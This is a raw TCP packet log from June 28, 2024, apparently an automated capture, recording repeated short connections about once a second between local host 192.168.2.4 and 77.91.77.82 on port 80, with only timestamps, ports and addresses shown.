Jun 28, 2024 22:32:37.738651037 CEST	80	49758	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:37.738692999 CEST	80	49757	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:37.738742113 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.738770962 CEST	49757	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.738934040 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:37.743719101 CEST	80	49758	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:38.439055920 CEST	80	49758	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:38.439162016 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.439758062 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.444632053 CEST	80	49758	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:38.660778999 CEST	80	49758	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:38.661057949 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.764559031 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.764873028 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.769773006 CEST	80	49759	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:38.769840956 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.769961119 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.770245075 CEST	80	49758	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:38.770294905 CEST	49758	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:38.774755955 CEST	80	49759	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.541553974 CEST	80	49759	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.541769981 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.542577028 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.547369957 CEST	80	49759	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.769701958 CEST	80	49759	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.769758940 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.875869989 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.876157999 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.880968094 CEST	80	49760	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.881037951 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.881138086 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:39.885878086 CEST	80	49760	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.886123896 CEST	80	49759	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:39.886204958 CEST	49759	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.612277031 CEST	80	49760	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:40.612377882 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.612982988 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.617892981 CEST	80	49760	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:40.837275028 CEST	80	49760	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:40.837389946 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.952511072 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.952857971 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.957783937 CEST	80	49760	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:40.957868099 CEST	80	49761	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:40.957890034 CEST	49760	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.957930088 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.958045959 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:40.962764978 CEST	80	49761	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:41.649882078 CEST	80	49761	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:41.649944067 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.650515079 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.655325890 CEST	80	49761	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:41.872967958 CEST	80	49761	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:41.873214006 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.983349085 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.983774900 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.988648891 CEST	80	49762	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:41.988804102 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.988807917 CEST	80	49761	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:41.988861084 CEST	49761	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.989027977 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:41.993787050 CEST	80	49762	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:42.685095072 CEST	80	49762	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:42.685174942 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:42.685867071 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:42.690850019 CEST	80	49762	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:42.906316042 CEST	80	49762	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:42.906450033 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.014916897 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.015224934 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.020153999 CEST	80	49763	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:43.020253897 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.020319939 CEST	80	49762	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:43.020342112 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.020375967 CEST	49762	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.025274038 CEST	80	49763	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:43.749119043 CEST	80	49763	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:43.749296904 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.749982119 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:43.754811049 CEST	80	49763	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:43.977801085 CEST	80	49763	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:43.977873087 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.092629910 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.092933893 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.097820997 CEST	80	49764	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:44.097891092 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.097984076 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.098151922 CEST	80	49763	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:44.098208904 CEST	49763	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.103656054 CEST	80	49764	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:44.803824902 CEST	80	49764	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:44.803941011 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.804548025 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:44.809329987 CEST	80	49764	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:45.027215958 CEST	80	49764	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:45.027333021 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.139384985 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.139659882 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.144568920 CEST	80	49764	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:45.144587994 CEST	80	49765	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:45.144630909 CEST	49764	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.144687891 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.144769907 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.149461031 CEST	80	49765	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:45.829894066 CEST	80	49765	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:45.829983950 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.830815077 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:45.835556030 CEST	80	49765	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:46.045613050 CEST	80	49765	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:46.045689106 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.155895948 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.156671047 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.161453962 CEST	80	49765	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:46.161535978 CEST	80	49766	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:46.161547899 CEST	49765	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.161613941 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.161860943 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.166724920 CEST	80	49766	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:46.883670092 CEST	80	49766	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:46.883733988 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.884268999 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:46.889096022 CEST	80	49766	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:47.110117912 CEST	80	49766	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:47.110208988 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.217614889 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.218029976 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.227755070 CEST	80	49767	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:47.227853060 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.227998018 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.228065968 CEST	80	49766	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:47.228120089 CEST	49766	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.238914013 CEST	80	49767	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:47.939188957 CEST	80	49767	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:47.939357996 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.940118074 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:47.948579073 CEST	80	49767	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:48.167186975 CEST	80	49767	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:48.167270899 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.282169104 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.282396078 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.287504911 CEST	80	49767	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:48.287549973 CEST	80	49768	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:48.287602901 CEST	49767	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.287662983 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.287852049 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.292856932 CEST	80	49768	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:48.977050066 CEST	80	49768	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:48.977211952 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.978208065 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:48.986148119 CEST	80	49768	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:49.204093933 CEST	80	49768	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:49.204211950 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:49.311444998 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:49.311748028 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:49.486815929 CEST	80	49769	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:49.486908913 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:49.487068892 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:49.488035917 CEST	80	49768	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:49.488097906 CEST	49768	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:49.491874933 CEST	80	49769	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:50.201754093 CEST	80	49769	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:50.201829910 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.202510118 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.207931042 CEST	80	49769	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:50.427747011 CEST	80	49769	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:50.427834988 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.530322075 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.530703068 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.537106037 CEST	80	49769	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:50.537157059 CEST	49769	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.537168980 CEST	80	49770	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:50.537234068 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.537394047 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:50.543479919 CEST	80	49770	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:51.244951963 CEST	80	49770	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:51.245038986 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.245812893 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.250545979 CEST	80	49770	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:51.485054970 CEST	80	49770	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:51.485137939 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.592550993 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.592897892 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.597718954 CEST	80	49771	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:51.597790956 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.597826004 CEST	80	49770	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:51.597872019 CEST	49770	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.597913980 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:51.602623940 CEST	80	49771	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:52.312807083 CEST	80	49771	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:52.312866926 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.313647985 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.319195032 CEST	80	49771	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:52.536325932 CEST	80	49771	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:52.536396027 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.639683008 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.640044928 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.644844055 CEST	80	49773	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:52.644901991 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.645049095 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.645116091 CEST	80	49771	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:52.645174980 CEST	49771	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:52.649871111 CEST	80	49773	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:53.347245932 CEST	80	49773	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:53.347301006 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.348017931 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.352823973 CEST	80	49773	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:53.566123962 CEST	80	49773	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:53.566176891 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.670696020 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.670977116 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.678838968 CEST	80	49773	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:53.678900003 CEST	49773	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.678942919 CEST	80	49774	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:53.679012060 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.679130077 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:53.686542034 CEST	80	49774	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:54.419898033 CEST	80	49774	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:54.419971943 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.420614004 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.426184893 CEST	80	49774	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:54.650866032 CEST	80	49774	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:54.650923014 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.764501095 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.764770031 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.771498919 CEST	80	49774	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:54.771550894 CEST	49774	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.773560047 CEST	80	49775	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:54.773680925 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.773870945 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:54.780500889 CEST	80	49775	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.535527945 CEST	80	49775	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.535618067 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.536180019 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.540987015 CEST	80	49775	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.754759073 CEST	80	49775	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.754844904 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.859894991 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.860483885 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.865417957 CEST	80	49776	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.865493059 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.865639925 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:55.870359898 CEST	80	49776	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.878675938 CEST	80	49775	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:55.878720045 CEST	49775	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.614911079 CEST	80	49776	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:56.615045071 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.615673065 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.621010065 CEST	80	49776	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:56.845608950 CEST	80	49776	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:56.845902920 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.954119921 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.954297066 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.959166050 CEST	80	49777	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:56.959242105 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.959446907 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.959491968 CEST	80	49776	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:56.959558010 CEST	49776	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:56.964355946 CEST	80	49777	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:57.674237013 CEST	80	49777	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:57.674310923 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:57.674901009 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:57.680038929 CEST	80	49777	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:57.900696993 CEST	80	49777	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:57.900880098 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.014574051 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.014879942 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.019746065 CEST	80	49778	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:58.019766092 CEST	80	49777	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:58.019845963 CEST	49777	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.019860029 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.019963980 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.024698019 CEST	80	49778	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:58.818073034 CEST	80	49778	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:58.818149090 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.818856955 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:58.823836088 CEST	80	49778	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:59.034446001 CEST	80	49778	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:59.034636974 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.139549017 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.139807940 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.144665956 CEST	80	49778	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:59.144680977 CEST	80	49779	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:59.144737005 CEST	49778	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.144763947 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.144902945 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.149583101 CEST	80	49779	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:59.844990969 CEST	80	49779	77.91.77.82	192.168.2.4
Jun 28, 2024 22:32:59.845256090 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.845808029 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:32:59.850584984 CEST	80	49779	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:00.071121931 CEST	80	49779	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:00.071326971 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.186494112 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.186702967 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.191859007 CEST	80	49780	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:00.191883087 CEST	80	49779	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:00.191951990 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.191998959 CEST	49779	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.192162991 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.196988106 CEST	80	49780	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:00.896332026 CEST	80	49780	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:00.896498919 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.897046089 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:00.902842045 CEST	80	49780	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:01.115840912 CEST	80	49780	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:01.115905046 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.217628956 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.217911959 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.222767115 CEST	80	49781	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:01.222877026 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.223056078 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.223619938 CEST	80	49780	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:01.223676920 CEST	49780	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.227802038 CEST	80	49781	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:01.941770077 CEST	80	49781	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:01.942023039 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.971678972 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:01.976545095 CEST	80	49781	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:02.196908951 CEST	80	49781	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:02.197101116 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:02.313739061 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:02.314028025 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:02.318819046 CEST	80	49782	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:02.318896055 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:02.318970919 CEST	80	49781	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:02.319025993 CEST	49781	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:02.319087029 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:02.323828936 CEST	80	49782	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:03.044114113 CEST	80	49782	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:03.044292927 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.045149088 CEST	49782	80	192.168.2.4	77.91.77.82
Jun 28, 2024 22:33:03.049990892 CEST	80	49782	77.91.77.82	192.168.2.4
Jun 28, 2024 22:33:03.273097038 CEST	80	49782	77.91.77.82	192.168.2.4
